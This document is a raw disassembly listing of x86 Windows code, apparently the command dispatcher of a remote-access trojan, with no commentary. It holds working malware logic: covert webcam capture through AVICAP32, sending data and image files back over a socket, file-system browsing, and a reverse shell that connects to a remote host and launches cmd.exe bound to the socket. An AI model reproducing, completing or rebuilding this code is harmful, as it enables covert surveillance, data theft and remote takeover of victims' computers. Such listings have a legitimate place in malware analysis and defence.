mov dword [ebp - 0x400], eax
push 0x64
push 0
push dword [0x437cc0]
call fcn.0040e714
add esp, 0xc
push 0x4403d2
push dword [0x437cc0]
call fcn.0040e7b8
add esp, 8
push dword [ebp - 0x400]
push dword [0x437cc0]
call fcn.0040e7b8
add esp, 8
push 0x7e8
push dword [0x437cc0]
lea ecx, [ebp - 0x122c]
push ecx
call fcn.004063bc
add esp, 0xc
push 0x64
call sub.KERNEL32.DLL_Sleep
push 0x64
push 0
push dword [0x437cc0]
call fcn.0040e714
add esp, 0xc
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x404], eax
push 0xa
call fcn.0040c594
pop ecx
mov dword [ebp - 0x408], eax
push 0xa
push dword [ebp - 0x408]
push dword [ebp - 0x404]
call fcn.00413894
add esp, 0xc
mov dword [ebp - 0x408], eax
push 0x4403d6
push dword [0x437cc0]
call fcn.0040e7b8
add esp, 8
push dword [ebp - 0x408]
push dword [0x437cc0]
call fcn.0040e7b8
add esp, 8
push 0x64
push 0
lea edx, [ebp - 0x122c]
push edx
call fcn.0040e714
add esp, 0xc
mov word [ebp - 0x34c], 0x8c
lea ecx, [ebp - 0x108]
push ecx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
push 0x447814
lea eax, [ebp - 0x120]
push eax
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea edx, [ebp - 0x120]
push edx
lea ecx, [ebp - 0x138]
push ecx
call fcn.0040662c
add esp, 8
lea eax, [ebp - 0x138]
push eax
add dword [ebp - 0x340], 4
call fcn.00403012
pop ecx
push eax
lea edx, [ebp - 0x122c]
push edx
call fcn.0040e7b8
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x138]
push ecx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0x120]
push eax
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea edx, [ebp - 0x108]
push edx
call fcn.00402f7a
add esp, 8
push 0x7e8
push dword [0x437cc0]
lea ecx, [ebp - 0x122c]
push ecx
call fcn.004063bc
add esp, 0xc
push 0x64
push 0
push dword [0x437cc0]
call fcn.0040e714
add esp, 0xc
mov dword [0x437c94], 2
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0xa0]
push eax
call fcn.00402eed
add esp, 8
mov word [ebp - 0x34c], 0
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x61
jne 0x408b87
movsx ecx, byte [ebp - 0x9df]
cmp ecx, 0x58
jne 0x408b87
movsx eax, byte [ebp - 0x9de]
cmp eax, 0x73
jne 0x408b87
movsx edx, byte [ebp - 0x9dd]
cmp edx, 0x66
jne 0x408b87
xor ecx, ecx
mov dword [ebp - 0x40c], ecx
jmp 0x408ae4
push 0x44035a
lea eax, [ebp - 0x9e0]
push eax
call fcn.00410af8
add esp, 8
mov dword [ebp - 0x410], eax
inc dword [ebp - 0x40c]
mov edx, dword [ebp - 0x40c]
mov cl, byte [ebp + edx - 0x9dc]
mov eax, dword [ebp - 0x40c]
mov byte [ebp + eax - 0x9e0], cl
test cl, cl
jne 0x408ac4
mov dword [0x437cc0], 0x4403da
push 0
push dword [0x437cc0]
call fcn.0040e824
pop ecx
push eax
push dword [0x437cc0]
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_send
push 0x1f4
call sub.KERNEL32.DLL_Sleep
push 0xc8
push 0
push 0x4484d4
call fcn.0040e714
add esp, 0xc
lea edx, [ebp - 0x9e0]
push edx
push 0x4484d4
call fcn.0040e7b8
add esp, 8
lea eax, [ebp - 0x414]
push eax
push 4
push 0
push 0x40a2d0
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x4488b8], eax
push dword [0x4488b8]
call sub.KERNEL32.DLL_ResumeThread
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x73
jne 0x408c3c
movsx ecx, byte [ebp - 0x9df]
cmp ecx, 0x44
jne 0x408c3c
movsx eax, byte [ebp - 0x9de]
cmp eax, 0x6d
jne 0x408c3c
movsx edx, byte [ebp - 0x9dd]
cmp edx, 0x6e
jne 0x408c3c
xor ecx, ecx
mov dword [ebp - 0x418], ecx
jmp 0x408bd3
inc dword [ebp - 0x418]
mov eax, dword [ebp - 0x418]
mov dl, byte [ebp + eax - 0x9dc]
mov ecx, dword [ebp - 0x418]
mov byte [ebp + ecx - 0x9e0], dl
test dl, dl
jne 0x408bcd
push 0x437cc8
call fcn.0040e824
pop ecx
push eax
push 0
push 0x437cc8
call fcn.0040e714
add esp, 0xc
lea eax, [ebp - 0x9e0]
push eax
push 0x437cc8
call fcn.0040e7b8
add esp, 8
push 0x44025a
push 0x437cc8
call fcn.0040e7b8
add esp, 8
call fcn.00406248
call fcn.00406004
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x77
jne 0x408e0e
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x58
jne 0x408e0e
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x63
jne 0x408e0e
movsx ecx, byte [ebp - 0x9dd]
cmp ecx, 0x70
jne 0x408e0e
mov dword [0x437c90], 1
mov dword [0x437c74], 1
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408cb3
push 0
push 0
push 0x40a
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_DestroyWindow
xor eax, eax
mov dword [0x44884c], eax
push 0
push 0
push 0x1e0
push 0x280
push 0
push 0
push 0
push 0x4400fa
call sub.AVICAP32.DLL_capCreateCaptureWindowA
mov dword [0x44884c], eax
push 0
push dword [0x44884c]
call sub.USER32.DLL_ShowWindow
mov dword [0x4476d0], 1
xor edx, edx
mov dword [0x4476cc], edx
mov dword [ebp - 0x41c], 1
push 0
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408d2c
push 0
push 0
push 0x42a
push 0
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408d4f
push 0
push 0
push 0x432
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408d74
push 0
push 0
push 0x40a
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
jmp 0x408d76
xor eax, eax
test eax, eax
jne 0x408e0e
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408da1
push 0
push 0x42
push 0x434
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408dc4
push 0
push 0
push 0x432
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408de7
push 0
push 0
push 0x40a
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_DestroyWindow
xor edx, edx
mov dword [0x44884c], edx
push 0
push 3
push 0x440394
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_send
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x76
jne 0x4093a9
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x46
jne 0x4093a9
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x6d
jne 0x4093a9
movsx ecx, byte [ebp - 0x9dd]
cmp ecx, 0x6e
jne 0x4093a9
xor eax, eax
mov dword [ebp - 0x420], eax
jmp 0x408e5e
inc dword [ebp - 0x420]
mov edx, dword [ebp - 0x420]
mov cl, byte [ebp + edx - 0x9dc]
mov eax, dword [ebp - 0x420]
mov byte [ebp + eax - 0x9e0], cl
test cl, cl
jne 0x408e58
push 0x440265
mov word [ebp - 0x34c], 0x98
add esp, 0xffffffe8
mov word [ebp - 0x34c], 0xa4
lea edx, [ebp - 0x140]
push edx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
lea eax, [ebp - 0x9e0]
push eax
lea edx, [ebp - 0x158]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea ecx, [ebp - 0x158]
push ecx
lea eax, [ebp - 0x170]
push eax
call fcn.0040674c
add esp, 8
lea edx, [ebp - 0x170]
push edx
add dword [ebp - 0x340], 4
lea ecx, [esp + 4]
push ecx
call fcn.00405b3c
add esp, 8
add dword [ebp - 0x340], 4
lea eax, [ebp - 0x188]
push eax
mov word [ebp - 0x34c], 0x98
add dword [ebp - 0x340], 0xfffffffc
call fcn.00406550
add esp, 0x1c
lea edx, [ebp - 0x188]
push edx
add dword [ebp - 0x340], 4
call fcn.00403865
add esp, 8
test al, al
jne 0x40929c
push str..bmp
add esp, 0xffffffe8
mov word [ebp - 0x34c], 0xb0
lea ecx, [ebp - 0x190]
push ecx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
lea eax, [ebp - 0x9e0]
push eax
lea edx, [ebp - 0x1a8]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea ecx, [ebp - 0x1a8]
push ecx
lea eax, [ebp - 0x1c0]
push eax
call fcn.0040674c
add esp, 8
lea edx, [ebp - 0x1c0]
push edx
add dword [ebp - 0x340], 4
lea ecx, [esp + 4]
push ecx
call fcn.00405b3c
add esp, 8
add dword [ebp - 0x340], 4
lea eax, [ebp - 0x1d8]
push eax
mov word [ebp - 0x34c], 0x98
add dword [ebp - 0x340], 0xfffffffc
call fcn.00406550
add esp, 0x1c
lea edx, [ebp - 0x1d8]
push edx
add dword [ebp - 0x340], 4
call fcn.00403865
add esp, 8
test al, al
setne cl
and ecx, 1
push ecx
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0x1d8]
push eax
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea edx, [ebp - 0x1c0]
push edx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x1a8]
push ecx
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea eax, [ebp - 0x190]
push eax
call fcn.00402f7a
add esp, 8
pop edx
test edx, edx
jne 0x40929c
push str..png
add esp, 0xffffffe8
mov word [ebp - 0x34c], 0xbc
lea ecx, [ebp - 0x1e0]
push ecx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
lea eax, [ebp - 0x9e0]
push eax
lea edx, [ebp - 0x1f8]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea ecx, [ebp - 0x1f8]
push ecx
lea eax, [ebp - 0x210]
push eax
call fcn.0040674c
add esp, 8
lea edx, [ebp - 0x210]
push edx
add dword [ebp - 0x340], 4
lea ecx, [esp + 4]
push ecx
call fcn.00405b3c
add esp, 8
add dword [ebp - 0x340], 4
lea eax, [ebp - 0x228]
push eax
mov word [ebp - 0x34c], 0x98
add dword [ebp - 0x340], 0xfffffffc
call fcn.00406550
add esp, 0x1c
lea edx, [ebp - 0x228]
push edx
add dword [ebp - 0x340], 4
call fcn.00403865
add esp, 8
test al, al
setne cl
and ecx, 1
push ecx
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0x228]
push eax
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea edx, [ebp - 0x210]
push edx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x1f8]
push ecx
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea eax, [ebp - 0x1e0]
push eax
call fcn.00402f7a
add esp, 8
pop edx
test edx, edx
jne 0x40929c
push str..jpeg
add esp, 0xffffffe8
mov word [ebp - 0x34c], 0xc8
lea ecx, [ebp - 0x230]
push ecx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
lea eax, [ebp - 0x9e0]
push eax
lea edx, [ebp - 0x248]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea ecx, [ebp - 0x248]
push ecx
lea eax, [ebp - 0x260]
push eax
call fcn.0040674c
add esp, 8
lea edx, [ebp - 0x260]
push edx
add dword [ebp - 0x340], 4
lea ecx, [esp + 4]
push ecx
call fcn.00405b3c
add esp, 8
add dword [ebp - 0x340], 4
lea eax, [ebp - 0x278]
push eax
mov word [ebp - 0x34c], 0x98
add dword [ebp - 0x340], 0xfffffffc
call fcn.00406550
add esp, 0x1c
lea edx, [ebp - 0x278]
push edx
add dword [ebp - 0x340], 4
call fcn.00403865
add esp, 8
test al, al
setne cl
and ecx, 1
push ecx
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0x278]
push eax
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea edx, [ebp - 0x260]
push edx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x248]
push ecx
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea eax, [ebp - 0x230]
push eax
call fcn.00402f7a
add esp, 8
pop edx
test edx, edx
jne 0x40929c
xor ecx, ecx
jmp 0x4092a1
mov ecx, 1
push ecx
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0x188]
push eax
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea edx, [ebp - 0x170]
push edx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x158]
push ecx
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea eax, [ebp - 0x140]
push eax
call fcn.00402f7a
add esp, 8
pop edx
test dl, dl
je 0x4093a9
push 0xc8
push 0
lea ecx, [ebp - 0x1358]
push ecx
call fcn.0040e714
add esp, 0xc
push 0x437cc8
lea eax, [ebp - 0x1358]
push eax
call fcn.0040e7b8
add esp, 8
lea edx, [ebp - 0x9e0]
push edx
lea ecx, [ebp - 0x1358]
push ecx
call fcn.0040e7b8
add esp, 8
lea eax, [ebp - 0x1358]
push eax
call fcn.0040e824
pop ecx
mov byte [ebp + eax - 0x1359], 0
push 0xc8
push 0
push 0x4488dc
call fcn.0040e714
add esp, 0xc
push 0x437cc8
push 0x4488dc
call fcn.0040e7b8
add esp, 8
push str.temp.jpg
push 0x4488dc
call fcn.0040e7b8
add esp, 8
lea edx, [ebp - 0x1358]
push edx
call fcn.00405944
pop ecx
call fcn.004052ec
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x73
jne 0x409739
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x46
jne 0x409739
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x6d
jne 0x409739
movsx ecx, byte [ebp - 0x9dd]
cmp ecx, 0x6e
jne 0x409739
xor eax, eax
mov dword [ebp - 0x424], eax
jmp 0x4093f9
inc dword [ebp - 0x424]
mov edx, dword [ebp - 0x424]
mov cl, byte [ebp + edx - 0x9dc]
mov eax, dword [ebp - 0x424]
mov byte [ebp + eax - 0x9e0], cl
test cl, cl
jne 0x4093f3
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x3c
jne 0x409481
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x44
jne 0x409481
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x49
jne 0x409481
movsx ecx, byte [ebp - 0x9dd]
cmp ecx, 0x52
jne 0x409481
movsx eax, byte [ebp - 0x9dc]
cmp eax, 0x3e
jne 0x409481
xor edx, edx
mov dword [ebp - 0x428], edx
jmp 0x409463
inc dword [ebp - 0x428]
mov ecx, dword [ebp - 0x428]
mov al, byte [ebp + ecx - 0x9da]
mov edx, dword [ebp - 0x428]
mov byte [ebp + edx - 0x9e0], al
test al, al
jne 0x40945d
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x2e
jne 0x40952d
movsx ecx, byte [ebp - 0x9df]
cmp ecx, 0x2e
jne 0x40952d
push 0x437cc8
call fcn.0040e824
pop ecx
mov dword [ebp - 0x1358], eax
xor eax, eax
mov dword [ebp - 0x1364], eax
jmp 0x4094ec
mov edx, dword [ebp - 0x1364]
movsx ecx, byte [edx + 0x437cc8]
cmp ecx, 0x5c
jne 0x4094e6
mov eax, dword [ebp - 0x1360]
mov dword [ebp - 0x135c], eax
mov edx, dword [ebp - 0x1364]
mov dword [ebp - 0x1360], edx
inc dword [ebp - 0x1364]
mov ecx, dword [ebp - 0x1364]
cmp ecx, dword [ebp - 0x1358]
jl 0x4094bc
inc dword [ebp - 0x135c]
jmp 0x409515
mov eax, dword [ebp - 0x135c]
mov byte [eax + 0x437cc8], 0
inc dword [ebp - 0x135c]
mov edx, dword [ebp - 0x135c]
cmp edx, dword [ebp - 0x1358]
jl 0x409502
call fcn.00406004
jmp 0x409739
push 0xfa
push 0
lea ecx, [ebp - 0x1460]
push ecx
call fcn.0040e714
add esp, 0xc
push 0x44025a
lea eax, [ebp - 0x1460]
push eax
call fcn.0040e7b8
add esp, 8
push 0x437cc8
lea edx, [ebp - 0x1460]
push edx
call fcn.0040e7f4
add esp, 8
lea ecx, [ebp - 0x9e0]
push ecx
lea eax, [ebp - 0x1460]
push eax
call fcn.0040e7b8
add esp, 8
lea edx, [ebp - 0x1460]
push edx
call fcn.00405fdc
pop ecx
test al, al
je 0x4095c2
lea ecx, [ebp - 0x9e0]
push ecx
push 0x437cc8
call fcn.0040e7b8
add esp, 8
push 0x44025a
push 0x437cc8
call fcn.0040e7b8
add esp, 8
call fcn.00406004
jmp 0x409739
lea eax, [ebp - 0x1460]
push eax
call fcn.004068c0
pop ecx
test eax, eax
jne 0x409739
lea edx, [ebp - 0x1460]
push edx
call fcn.0040e824
pop ecx
mov byte [ebp + eax - 0x1461], 0
lea ecx, [ebp - 0x1460]
push ecx
push 0x4403ee
call fcn.00411930
add esp, 8
mov word [ebp - 0x34c], 0xe0
lea eax, [ebp - 0x298]
push eax
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
lea edx, [ebp - 0x9e0]
push edx
lea ecx, [ebp - 0x2b0]
push ecx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea eax, [ebp - 0x2b0]
push eax
lea edx, [ebp - 0x290]
push edx
call fcn.0040674c
add esp, 8
add dword [ebp - 0x340], 4
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x2b0]
push ecx
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea eax, [ebp - 0x298]
push eax
call fcn.00402f7a
add esp, 8
mov word [ebp - 0x34c], 0xd4
lea edx, [ebp - 0x290]
push edx
call fcn.00403012
pop ecx
mov dword [ebp - 0x42c], eax
push 0x64
push 0
push dword [0x437cc0]
call fcn.0040e714
add esp, 0xc
push str.aDpl
push dword [0x437cc0]
call fcn.0040e7b8
add esp, 8
push dword [ebp - 0x42c]
push dword [0x437cc0]
call fcn.0040e7b8
add esp, 8
push 0
push dword [0x437cc0]
call fcn.0040e824
pop ecx
push eax
push dword [0x437cc0]
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_send
push dword [0x437cc0]
call fcn.0040e824
pop ecx
push eax
push 0
push dword [0x437cc0]
call fcn.0040e714
add esp, 0xc
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x290]
push ecx
call fcn.00402eed
add esp, 8
mov word [ebp - 0x34c], 0
movsx eax, byte [ebp - 0x9e0]
cmp eax, 0x61
jne 0x409784
movsx edx, byte [ebp - 0x9df]
cmp edx, 0x46
jne 0x409784
movsx ecx, byte [ebp - 0x9de]
cmp ecx, 0x63
jne 0x409784
movsx eax, byte [ebp - 0x9dd]
cmp eax, 0x68
jne 0x409784
push 0x64
call sub.KERNEL32.DLL_Sleep
call fcn.00406248
push 0xc8
call sub.KERNEL32.DLL_Sleep
call fcn.00406004
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x61
jne 0x409858
movsx ecx, byte [ebp - 0x9df]
cmp ecx, 0x50
jne 0x409858
movsx eax, byte [ebp - 0x9de]
cmp eax, 0x6d
jne 0x409858
movsx edx, byte [ebp - 0x9dd]
cmp edx, 0x6e
jne 0x409858
xor ecx, ecx
mov dword [ebp - 0x430], ecx
jmp 0x4097d4
inc dword [ebp - 0x430]
mov eax, dword [ebp - 0x430]
mov dl, byte [ebp + eax - 0x9dc]
mov ecx, dword [ebp - 0x430]
mov byte [ebp + ecx - 0x9e0], dl
test dl, dl
jne 0x4097ce
mov word [ebp - 0x34c], 0xf8
lea eax, [ebp - 0x2c8]
push eax
call fcn.00406900
pop ecx
add dword [ebp - 0x340], 4
mov word [ebp - 0x34c], 0xec
push 0x437cc8
call fcn.004103f8
pop ecx
push 0x8238
lea ecx, [ebp - 0x9e0]
push ecx
call fcn.0040ac58
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0x2c8]
push eax
call fcn.00402eed
add esp, 8
mov word [ebp - 0x34c], 0
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x61
jne 0x40999f
movsx ecx, byte [ebp - 0x9df]
cmp ecx, 0x58
jne 0x40999f
movsx eax, byte [ebp - 0x9de]
cmp eax, 0x63
jne 0x40999f
movsx edx, byte [ebp - 0x9dd]
cmp edx, 0x66
jne 0x40999f
lea ecx, [ebp - 0x1620]
push ecx
push 0x202
call sub.WSOCK32.DLL_WSAStartup
push 0
push 0
push 0
push 6
push 1
push 2
call sub.WS2_32.DLL_WSASocketA
mov dword [ebp - 0x434], eax
push 0x447814
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 0x43c]
mov edx, dword [eax + 0xc]
mov ecx, dword [edx]
push dword [ecx]
call sub.WSOCK32.DLL_inet_ntoa
push eax
lea eax, [ebp - 0x1640]
push eax
call fcn.0040e7f4
add esp, 8
mov word [ebp - 0x1630], 2
push 0x8234
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x162e], ax
lea edx, [ebp - 0x1640]
push edx
call sub.WSOCK32.DLL_inet_addr
mov dword [ebp - 0x162c], eax
push 0
push 0
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1630]
push ecx
push dword [ebp - 0x434]
call sub.WS2_32.DLL_WSAConnect
push 0x44
push 0
lea eax, [ebp - 0x1684]
push eax
call fcn.0040e714
add esp, 0xc
mov dword [ebp - 0x1684], 0x44
mov dword [ebp - 0x1658], 0x100
mov edx, dword [ebp - 0x434]
mov dword [ebp - 0x1644], edx
mov dword [ebp - 0x1648], edx
mov dword [ebp - 0x164c], edx
lea eax, [ebp - 0x1694]
push eax
lea ecx, [ebp - 0x1684]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push str.cmd.exe
push 0
call sub.KERNEL32.DLL_CreateProcessA
movsx eax, byte [ebp - 0x9e0]
cmp eax, 0x61
jne 0x409b99
movsx edx, byte [ebp - 0x9df]
cmp edx, 0x50
jne 0x409b99
movsx ecx, byte [ebp - 0x9de]
cmp ecx, 0x79
jne 0x409b99
mov dword [0x437c94], 2
xor eax, eax
mov dword [ebp - 0x440], eax
jmp 0x4099fd
push 0xc8
push 0
push 0x44827c
call fcn.0040e714
add esp, 0xc
inc dword [ebp - 0x440]
mov edx, dword [ebp - 0x440]
mov cl, byte [ebp + edx - 0x9dd]
mov eax, dword [ebp - 0x440]
mov byte [ebp + eax - 0x9e0], cl
test cl, cl
jne 0x4099e3
push 0x64
push 0
push 0x44859c
call fcn.0040e714
add esp, 0xc
lea edx, [ebp - 0x9e0]
push edx
push 0x44827c
call fcn.0040e7b8
add esp, 8
mov word [ebp - 0x34c], 0x104
lea eax, [ebp - 0x2d0]
push eax
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
push 0x447814
lea edx, [ebp - 0x2e8]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea ecx, [ebp - 0x2e8]
push ecx
lea eax, [ebp - 0x300]
push eax
call fcn.0040662c
add esp, 8
lea edx, [ebp - 0x300]
push edx
add dword [ebp - 0x340], 4
call fcn.00403012
pop ecx
push eax
push 0x44859c
call fcn.0040e7b8
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x300]
push ecx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0x2e8]
push eax
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea edx, [ebp - 0x2d0]
push edx
call fcn.00402f7a
add esp, 8
cmp dword [0x437c8c], 0
jne 0x409b17
xor ecx, ecx
mov dword [0x437c7c], ecx
mov dword [0x437c8c], 1
jmp 0x409b99
xor eax, eax
mov dword [0x437c8c], eax
xor edx, edx
mov dword [0x4476d8], edx
xor ecx, ecx
mov dword [0x4476dc], ecx
xor eax, eax
mov dword [0x4476e0], eax
xor edx, edx
mov dword [0x4476e4], edx
xor ecx, ecx
mov dword [0x4476e8], ecx
xor eax, eax
mov dword [0x4476ec], eax
xor edx, edx
mov dword [0x4476f0], edx
xor ecx, ecx
mov dword [0x4476f4], ecx
xor eax, eax
mov dword [0x4476f8], eax
xor edx, edx
mov dword [0x4476fc], edx
xor ecx, ecx
mov dword [0x447700], ecx
xor eax, eax
mov dword [0x447704], eax
xor edx, edx
mov dword [0x447708], edx
xor ecx, ecx
mov dword [0x44770c], ecx
xor eax, eax
mov dword [0x447710], eax
xor edx, edx
mov dword [0x447a70], edx
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x61
jne 0x409d0c
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x50
jne 0x409d0c
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x78
jne 0x409d0c
mov dword [0x437c94], 1
xor ecx, ecx
mov dword [ebp - 0x444], ecx
jmp 0x409bf7
push 0xc8
push 0
push 0x44827c
call fcn.0040e714
add esp, 0xc
inc dword [ebp - 0x444]
mov eax, dword [ebp - 0x444]
mov dl, byte [ebp + eax - 0x9dd]
mov ecx, dword [ebp - 0x444]
mov byte [ebp + ecx - 0x9e0], dl
test dl, dl
jne 0x409bdd
push 0x64
push 0
push 0x44859c
call fcn.0040e714
add esp, 0xc
lea eax, [ebp - 0x9e0]
push eax
push 0x44827c
call fcn.0040e7b8
add esp, 8
mov word [ebp - 0x34c], 0x110
lea ecx, [ebp - 0x308]
push ecx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
push 0x447814
lea eax, [ebp - 0x320]
push eax
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea edx, [ebp - 0x320]
push edx
lea ecx, [ebp - 0x338]
push ecx
call fcn.0040662c
add esp, 8
lea eax, [ebp - 0x338]
push eax
add dword [ebp - 0x340], 4
call fcn.00403012
pop ecx
push eax
push 0x44859c
call fcn.0040e7b8
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea edx, [ebp - 0x338]
push edx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x320]
push ecx
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea eax, [ebp - 0x308]
push eax
call fcn.00402f7a
add esp, 8
cmp dword [0x437c8c], 0
jne 0x409d0c
xor edx, edx
mov dword [0x437c7c], edx
mov dword [0x437c8c], 1
cmp dword [0x437c7c], 0
jne 0x409d43
mov dword [0x437c7c], 1
push 0
push 0
push 0
push 0x409ef0
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x4488c0], eax
push dword [0x4488c0]
call sub.KERNEL32.DLL_CloseHandle
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x73
jne 0x409d81
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x50
jne 0x409d81
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x63
jne 0x409d81
push 0
push 0
push 0
push 0x40ae78
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [ebp - 0x448], eax
push 2
call sub.KERNEL32.DLL_Sleep
jmp 0x4076c7
pop edi
pop esi
mov esp, ebp
pop ebp
ret